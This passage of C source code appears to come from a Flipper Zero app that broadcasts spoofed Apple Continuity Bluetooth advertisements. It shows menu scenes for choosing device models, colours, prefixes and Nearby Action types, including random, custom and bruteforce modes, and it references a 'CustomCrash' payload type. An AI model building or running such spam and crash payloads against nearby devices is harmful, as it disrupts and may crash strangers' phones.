  754. variable_item_list_set_enter_callback(list, config_callback, ctx);
  755. }
  756. static uint8_t config_counts[ContinuityTypeCOUNT] = {
  757. [ContinuityTypeAirDrop] = 0,
  758. [ContinuityTypeProximityPair] = ConfigPpCOUNT - ConfigExtraStart - 1,
  759. [ContinuityTypeAirplayTarget] = 0,
  760. [ContinuityTypeHandoff] = 0,
  761. [ContinuityTypeTetheringSource] = 0,
  762. [ContinuityTypeNearbyAction] = ConfigNaCOUNT - ConfigExtraStart - 1,
  763. [ContinuityTypeNearbyInfo] = 0,
  764. [ContinuityTypeCustomCrash] = ConfigCcCOUNT - ConfigExtraStart - 1,
  765. };
  766. static uint8_t config_count(const Payload* payload) {
  767. const ContinuityCfg* cfg = &payload->cfg.continuity;
  768. return config_counts[cfg->type];
  769. }
  770. const Protocol protocol_continuity = {
  771. .icon = &I_apple,
  772. .get_name = get_name,
  773. .make_packet = make_packet,
  774. .extra_config = extra_config,
  775. .config_count = config_count,
  776. };
  777. static void pp_model_callback(void* _ctx, uint32_t index) {
  778. Ctx* ctx = _ctx;
  779. Payload* payload = &ctx->attack->payload;
  780. ContinuityCfg* cfg = &payload->cfg.continuity;
  781. switch(index) {
  782. case 0:
  783. payload->mode = PayloadModeRandom;
  784. scene_manager_previous_scene(ctx->scene_manager);
  785. break;
  786. case pp_models_count + 1:
  787. scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpModelCustom);
  788. break;
  789. case pp_models_count + 2:
  790. payload->mode = PayloadModeBruteforce;
  791. payload->bruteforce.counter = 0;
  792. payload->bruteforce.value = cfg->data.proximity_pair.model;
  793. payload->bruteforce.size = 2;
  794. cfg->data.proximity_pair.bruteforce_mode = ContinuityPpBruteforceModel;
  795. scene_manager_previous_scene(ctx->scene_manager);
  796. break;
  797. default:
  798. if(payload->mode != PayloadModeBruteforce ||
  799. cfg->data.proximity_pair.bruteforce_mode == ContinuityPpBruteforceModel)
  800. payload->mode = PayloadModeValue;
  801. cfg->data.proximity_pair.model = pp_models[index - 1].value;
  802. scene_manager_previous_scene(ctx->scene_manager);
  803. break;
  804. }
  805. }
  806. void scene_continuity_pp_model_on_enter(void* _ctx) {
  807. Ctx* ctx = _ctx;
  808. Payload* payload = &ctx->attack->payload;
  809. ContinuityCfg* cfg = &payload->cfg.continuity;
  810. Submenu* submenu = ctx->submenu;
  811. uint32_t selected = 0;
  812. bool value = payload->mode == PayloadModeValue ||
  813. (payload->mode == PayloadModeBruteforce &&
  814. cfg->data.proximity_pair.bruteforce_mode != ContinuityPpBruteforceModel);
  815. submenu_add_item(submenu, "Random", 0, pp_model_callback, ctx);
  816. if(payload->mode == PayloadModeRandom) {
  817. selected = 0;
  818. }
  819. bool found = false;
  820. for(uint8_t i = 0; i < pp_models_count; i++) {
  821. submenu_add_item(submenu, pp_models[i].name, i + 1, pp_model_callback, ctx);
  822. if(!found && value && cfg->data.proximity_pair.model == pp_models[i].value) {
  823. found = true;
  824. selected = i + 1;
  825. }
  826. }
  827. submenu_add_item(submenu, "Custom", pp_models_count + 1, pp_model_callback, ctx);
  828. if(!found && value) {
  829. selected = pp_models_count + 1;
  830. }
  831. submenu_add_item(submenu, "Bruteforce", pp_models_count + 2, pp_model_callback, ctx);
  832. if(!value && payload->mode == PayloadModeBruteforce) {
  833. selected = pp_models_count + 2;
  834. }
  835. submenu_set_selected_item(submenu, selected);
  836. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
  837. }
  838. bool scene_continuity_pp_model_on_event(void* _ctx, SceneManagerEvent event) {
  839. UNUSED(_ctx);
  840. UNUSED(event);
  841. return false;
  842. }
  843. void scene_continuity_pp_model_on_exit(void* _ctx) {
  844. Ctx* ctx = _ctx;
  845. submenu_reset(ctx->submenu);
  846. }
  847. static void pp_model_custom_callback(void* _ctx) {
  848. Ctx* ctx = _ctx;
  849. Payload* payload = &ctx->attack->payload;
  850. ContinuityCfg* cfg = &payload->cfg.continuity;
  851. if(payload->mode != PayloadModeBruteforce ||
  852. cfg->data.proximity_pair.bruteforce_mode == ContinuityPpBruteforceModel)
  853. payload->mode = PayloadModeValue;
  854. cfg->data.proximity_pair.model = (ctx->byte_store[0] << 0x08) + (ctx->byte_store[1] << 0x00);
  855. scene_manager_previous_scene(ctx->scene_manager);
  856. scene_manager_previous_scene(ctx->scene_manager);
  857. }
  858. void scene_continuity_pp_model_custom_on_enter(void* _ctx) {
  859. Ctx* ctx = _ctx;
  860. Payload* payload = &ctx->attack->payload;
  861. ContinuityCfg* cfg = &payload->cfg.continuity;
  862. ByteInput* byte_input = ctx->byte_input;
  863. byte_input_set_header_text(byte_input, "Enter custom Model Code");
  864. ctx->byte_store[0] = (cfg->data.proximity_pair.model >> 0x08) & 0xFF;
  865. ctx->byte_store[1] = (cfg->data.proximity_pair.model >> 0x00) & 0xFF;
  866. byte_input_set_result_callback(
  867. byte_input, pp_model_custom_callback, NULL, ctx, (void*)ctx->byte_store, 2);
  868. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
  869. }
  870. bool scene_continuity_pp_model_custom_on_event(void* _ctx, SceneManagerEvent event) {
  871. UNUSED(_ctx);
  872. UNUSED(event);
  873. return false;
  874. }
  875. void scene_continuity_pp_model_custom_on_exit(void* _ctx) {
  876. UNUSED(_ctx);
  877. }
  878. static void pp_color_callback(void* _ctx, uint32_t index) {
  879. Ctx* ctx = _ctx;
  880. Payload* payload = &ctx->attack->payload;
  881. ContinuityCfg* cfg = &payload->cfg.continuity;
  882. uint8_t model_index = 0;
  883. uint8_t colors_count = 0;
  884. if(payload->mode == PayloadModeValue ||
  885. (payload->mode == PayloadModeBruteforce &&
  886. cfg->data.proximity_pair.bruteforce_mode == ContinuityPpBruteforceColor)) {
  887. for(; model_index < pp_models_count; model_index++) {
  888. if(cfg->data.proximity_pair.model == pp_models[model_index].value) {
  889. colors_count = pp_models[model_index].colors_count;
  890. break;
  891. }
  892. }
  893. }
  894. if(index == colors_count) {
  895. scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpColorCustom);
  896. } else if(index == colors_count + 1U) {
  897. payload->mode = PayloadModeBruteforce;
  898. payload->bruteforce.counter = 0;
  899. payload->bruteforce.value = cfg->data.proximity_pair.color;
  900. payload->bruteforce.size = 1;
  901. cfg->data.proximity_pair.bruteforce_mode = ContinuityPpBruteforceColor;
  902. scene_manager_previous_scene(ctx->scene_manager);
  903. } else {
  904. if(payload->mode != PayloadModeBruteforce ||
  905. cfg->data.proximity_pair.bruteforce_mode == ContinuityPpBruteforceColor)
  906. payload->mode = PayloadModeValue;
  907. cfg->data.proximity_pair.color = pp_models[model_index].colors[index].value;
  908. scene_manager_previous_scene(ctx->scene_manager);
  909. }
  910. }
  911. void scene_continuity_pp_color_on_enter(void* _ctx) {
  912. Ctx* ctx = _ctx;
  913. Payload* payload = &ctx->attack->payload;
  914. ContinuityCfg* cfg = &payload->cfg.continuity;
  915. Submenu* submenu = ctx->submenu;
  916. uint32_t selected = 0;
  917. bool value = payload->mode == PayloadModeValue ||
  918. (payload->mode == PayloadModeBruteforce &&
  919. cfg->data.proximity_pair.bruteforce_mode != ContinuityPpBruteforceColor);
  920. bool found = false;
  921. uint8_t colors_count = 0;
  922. if(payload->mode == PayloadModeValue ||
  923. (payload->mode == PayloadModeBruteforce &&
  924. cfg->data.proximity_pair.bruteforce_mode == ContinuityPpBruteforceColor)) {
  925. for(uint8_t i = 0; i < pp_models_count; i++) {
  926. if(cfg->data.proximity_pair.model == pp_models[i].value) {
  927. colors_count = pp_models[i].colors_count;
  928. for(uint8_t j = 0; j < colors_count; j++) {
  929. submenu_add_item(
  930. submenu, pp_models[i].colors[j].name, j, pp_color_callback, ctx);
  931. if(!found && value &&
  932. cfg->data.proximity_pair.color == pp_models[i].colors[j].value) {
  933. found = true;
  934. selected = j;
  935. }
  936. }
  937. break;
  938. }
  939. }
  940. }
  941. submenu_add_item(submenu, "Custom", colors_count, pp_color_callback, ctx);
  942. if(!found && value) {
  943. selected = colors_count;
  944. }
  945. submenu_add_item(submenu, "Bruteforce", colors_count + 1, pp_color_callback, ctx);
  946. if(!value && payload->mode == PayloadModeBruteforce) {
  947. selected = colors_count + 1;
  948. }
  949. submenu_set_selected_item(submenu, selected);
  950. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
  951. }
  952. bool scene_continuity_pp_color_on_event(void* _ctx, SceneManagerEvent event) {
  953. UNUSED(_ctx);
  954. UNUSED(event);
  955. return false;
  956. }
  957. void scene_continuity_pp_color_on_exit(void* _ctx) {
  958. Ctx* ctx = _ctx;
  959. submenu_reset(ctx->submenu);
  960. }
  961. static void pp_color_custom_callback(void* _ctx) {
  962. Ctx* ctx = _ctx;
  963. Payload* payload = &ctx->attack->payload;
  964. ContinuityCfg* cfg = &payload->cfg.continuity;
  965. if(payload->mode != PayloadModeBruteforce ||
  966. cfg->data.proximity_pair.bruteforce_mode == ContinuityPpBruteforceColor)
  967. payload->mode = PayloadModeValue;
  968. cfg->data.proximity_pair.color = (ctx->byte_store[0] << 0x00);
  969. scene_manager_previous_scene(ctx->scene_manager);
  970. scene_manager_previous_scene(ctx->scene_manager);
  971. }
  972. void scene_continuity_pp_color_custom_on_enter(void* _ctx) {
  973. Ctx* ctx = _ctx;
  974. Payload* payload = &ctx->attack->payload;
  975. ContinuityCfg* cfg = &payload->cfg.continuity;
  976. ByteInput* byte_input = ctx->byte_input;
  977. byte_input_set_header_text(byte_input, "Enter custom Device Color");
  978. ctx->byte_store[0] = (cfg->data.proximity_pair.color >> 0x00) & 0xFF;
  979. byte_input_set_result_callback(
  980. byte_input, pp_color_custom_callback, NULL, ctx, (void*)ctx->byte_store, 1);
  981. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
  982. }
  983. bool scene_continuity_pp_color_custom_on_event(void* _ctx, SceneManagerEvent event) {
  984. UNUSED(_ctx);
  985. UNUSED(event);
  986. return false;
  987. }
  988. void scene_continuity_pp_color_custom_on_exit(void* _ctx) {
  989. UNUSED(_ctx);
  990. }
  991. static void pp_prefix_callback(void* _ctx, uint32_t index) {
  992. Ctx* ctx = _ctx;
  993. Payload* payload = &ctx->attack->payload;
  994. ContinuityCfg* cfg = &payload->cfg.continuity;
  995. switch(index) {
  996. case 0:
  997. cfg->data.proximity_pair.prefix = 0x00;
  998. scene_manager_previous_scene(ctx->scene_manager);
  999. break;
  1000. case pp_prefixes_count + 1:
  1001. scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpPrefixCustom);
  1002. break;
  1003. default:
  1004. cfg->data.proximity_pair.prefix = pp_prefixes[index - 1].value;
  1005. scene_manager_previous_scene(ctx->scene_manager);
  1006. break;
  1007. }
  1008. }
  1009. void scene_continuity_pp_prefix_on_enter(void* _ctx) {
  1010. Ctx* ctx = _ctx;
  1011. Payload* payload = &ctx->attack->payload;
  1012. ContinuityCfg* cfg = &payload->cfg.continuity;
  1013. Submenu* submenu = ctx->submenu;
  1014. uint32_t selected = 0;
  1015. bool found = false;
  1016. submenu_add_item(submenu, "Automatic", 0, pp_prefix_callback, ctx);
  1017. if(cfg->data.proximity_pair.prefix == 0x00) {
  1018. found = true;
  1019. selected = 0;
  1020. }
  1021. for(uint8_t i = 0; i < pp_prefixes_count; i++) {
  1022. submenu_add_item(submenu, pp_prefixes[i].name, i + 1, pp_prefix_callback, ctx);
  1023. if(!found && cfg->data.proximity_pair.prefix == pp_prefixes[i].value) {
  1024. found = true;
  1025. selected = i + 1;
  1026. }
  1027. }
  1028. submenu_add_item(submenu, "Custom", pp_prefixes_count + 1, pp_prefix_callback, ctx);
  1029. if(!found) {
  1030. selected = pp_prefixes_count + 1;
  1031. }
  1032. submenu_set_selected_item(submenu, selected);
  1033. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
  1034. }
  1035. bool scene_continuity_pp_prefix_on_event(void* _ctx, SceneManagerEvent event) {
  1036. UNUSED(_ctx);
  1037. UNUSED(event);
  1038. return false;
  1039. }
  1040. void scene_continuity_pp_prefix_on_exit(void* _ctx) {
  1041. Ctx* ctx = _ctx;
  1042. submenu_reset(ctx->submenu);
  1043. }
  1044. static void pp_prefix_custom_callback(void* _ctx) {
  1045. Ctx* ctx = _ctx;
  1046. Payload* payload = &ctx->attack->payload;
  1047. ContinuityCfg* cfg = &payload->cfg.continuity;
  1048. cfg->data.proximity_pair.prefix = (ctx->byte_store[0] << 0x00);
  1049. scene_manager_previous_scene(ctx->scene_manager);
  1050. scene_manager_previous_scene(ctx->scene_manager);
  1051. }
  1052. void scene_continuity_pp_prefix_custom_on_enter(void* _ctx) {
  1053. Ctx* ctx = _ctx;
  1054. Payload* payload = &ctx->attack->payload;
  1055. ContinuityCfg* cfg = &payload->cfg.continuity;
  1056. ByteInput* byte_input = ctx->byte_input;
  1057. byte_input_set_header_text(byte_input, "Enter custom Prefix");
  1058. ctx->byte_store[0] = (cfg->data.proximity_pair.prefix >> 0x00) & 0xFF;
  1059. byte_input_set_result_callback(
  1060. byte_input, pp_prefix_custom_callback, NULL, ctx, (void*)ctx->byte_store, 1);
  1061. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
  1062. }
  1063. bool scene_continuity_pp_prefix_custom_on_event(void* _ctx, SceneManagerEvent event) {
  1064. UNUSED(_ctx);
  1065. UNUSED(event);
  1066. return false;
  1067. }
  1068. void scene_continuity_pp_prefix_custom_on_exit(void* _ctx) {
  1069. UNUSED(_ctx);
  1070. }
  1071. static void na_action_callback(void* _ctx, uint32_t index) {
  1072. Ctx* ctx = _ctx;
  1073. Payload* payload = &ctx->attack->payload;
  1074. ContinuityCfg* cfg = &payload->cfg.continuity;
  1075. switch(index) {
  1076. case 0:
  1077. payload->mode = PayloadModeRandom;
  1078. scene_manager_previous_scene(ctx->scene_manager);
  1079. break;
  1080. case na_actions_count + 1:
  1081. scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaActionCustom);
  1082. break;
  1083. case na_actions_count + 2:
  1084. payload->mode = PayloadModeBruteforce;
  1085. payload->bruteforce.counter = 0;
  1086. payload->bruteforce.value = cfg->data.nearby_action.action;
  1087. payload->bruteforce.size = 1;
  1088. scene_manager_previous_scene(ctx->scene_manager);
  1089. break;
  1090. default:
  1091. payload->mode = PayloadModeValue;
  1092. cfg->data.nearby_action.action = na_actions[index - 1].value;
  1093. scene_manager_previous_scene(ctx->scene_manager);
  1094. break;
  1095. }
  1096. }
  1097. void scene_continuity_na_action_on_enter(void* _ctx) {
  1098. Ctx* ctx = _ctx;
  1099. Payload* payload = &ctx->attack->payload;
  1100. ContinuityCfg* cfg = &payload->cfg.continuity;
  1101. Submenu* submenu = ctx->submenu;
  1102. uint32_t selected = 0;
  1103. submenu_add_item(submenu, "Random", 0, na_action_callback, ctx);
  1104. if(payload->mode == PayloadModeRandom) {
  1105. selected = 0;
  1106. }
  1107. bool found = false;
  1108. for(uint8_t i = 0; i < na_actions_count; i++) {
  1109. submenu_add_item(submenu, na_actions[i].name, i + 1, na_action_callback, ctx);
  1110. if(!found && payload->mode == PayloadModeValue &&
  1111. cfg->data.nearby_action.action == na_actions[i].value) {
  1112. found = true;
  1113. selected = i + 1;
  1114. }
  1115. }
  1116. submenu_add_item(submenu, "Custom", na_actions_count + 1, na_action_callback, ctx);
  1117. if(!found && payload->mode == PayloadModeValue) {
  1118. selected = na_actions_count + 1;
  1119. }
  1120. submenu_add_item(submenu, "Bruteforce", na_actions_count + 2, na_action_callback, ctx);
  1121. if(payload->mode == PayloadModeBruteforce) {
  1122. selected = na_actions_count + 2;
  1123. }
  1124. submenu_set_selected_item(submenu, selected);
  1125. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
  1126. }
  1127. bool scene_continuity_na_action_on_event(void* _ctx, SceneManagerEvent event) {
  1128. UNUSED(_ctx);
  1129. UNUSED(event);
  1130. return false;
  1131. }
  1132. void scene_continuity_na_action_on_exit(void* _ctx) {
  1133. Ctx* ctx = _ctx;
  1134. submenu_reset(ctx->submenu);
  1135. }
  1136. static void na_action_custom_callback(void* _ctx) {
  1137. Ctx* ctx = _ctx;
  1138. Payload* payload = &ctx->attack->payload;
  1139. ContinuityCfg* cfg = &payload->cfg.continuity;
  1140. payload->mode = PayloadModeValue;
  1141. cfg->data.nearby_action.action = (ctx->byte_store[0] << 0x00);
  1142. scene_manager_previous_scene(ctx->scene_manager);
  1143. scene_manager_previous_scene(ctx->scene_manager);
  1144. }
  1145. void scene_continuity_na_action_custom_on_enter(void* _ctx) {
  1146. Ctx* ctx = _ctx;
  1147. Payload* payload = &ctx->attack->payload;
  1148. ContinuityCfg* cfg = &payload->cfg.continuity;
  1149. ByteInput* byte_input = ctx->byte_input;
  1150. byte_input_set_header_text(byte_input, "Enter custom Action Type");
  1151. ctx->byte_store[0] = (cfg->data.nearby_action.action >> 0x00) & 0xFF;
  1152. byte_input_set_result_callback(
  1153. byte_input, na_action_custom_callback, NULL, ctx, (void*)ctx->byte_store, 1);
  1154. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
  1155. }
  1156. bool scene_continuity_na_action_custom_on_event(void* _ctx, SceneManagerEvent event) {
  1157. UNUSED(_ctx);
  1158. UNUSED(event);
  1159. return false;
  1160. }
  1161. void scene_continuity_na_action_custom_on_exit(void* _ctx) {
  1162. UNUSED(_ctx);
  1163. }
  1164. static void na_flags_callback(void* _ctx) {
  1165. Ctx* ctx = _ctx;
  1166. scene_manager_previous_scene(ctx->scene_manager);
  1167. }
  1168. void scene_continuity_na_flags_on_enter(void* _ctx) {
  1169. Ctx* ctx = _ctx;
  1170. Payload* payload = &ctx->attack->payload;
  1171. ContinuityCfg* cfg = &payload->cfg.continuity;
  1172. ByteInput* byte_input = ctx->byte_input;
  1173. byte_input_set_header_text(byte_input, "Press back for automatic");
  1174. ctx->byte_store[0] = (cfg->data.nearby_action.flags >> 0x00) & 0xFF;
  1175. byte_input_set_result_callback(
  1176. byte_input, na_flags_callback, NULL, ctx, (void*)ctx->byte_store, 1);
  1177. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
  1178. }
  1179. bool scene_continuity_na_flags_on_event(void* _ctx, SceneManagerEvent event) {
  1180. Ctx* ctx = _ctx;
  1181. if(event.type == SceneManagerEventTypeBack) {
  1182. ctx->byte_store[0] = 0x00;
  1183. }
  1184. return false;
  1185. }
  1186. void scene_continuity_na_flags_on_exit(void* _ctx) {
  1187. Ctx* ctx = _ctx;
  1188. Payload* payload = &ctx->attack->payload;
  1189. ContinuityCfg* cfg = &payload->cfg.continuity;
  1190. cfg->data.nearby_action.flags = (ctx->byte_store[0] << 0x00);
  1191. }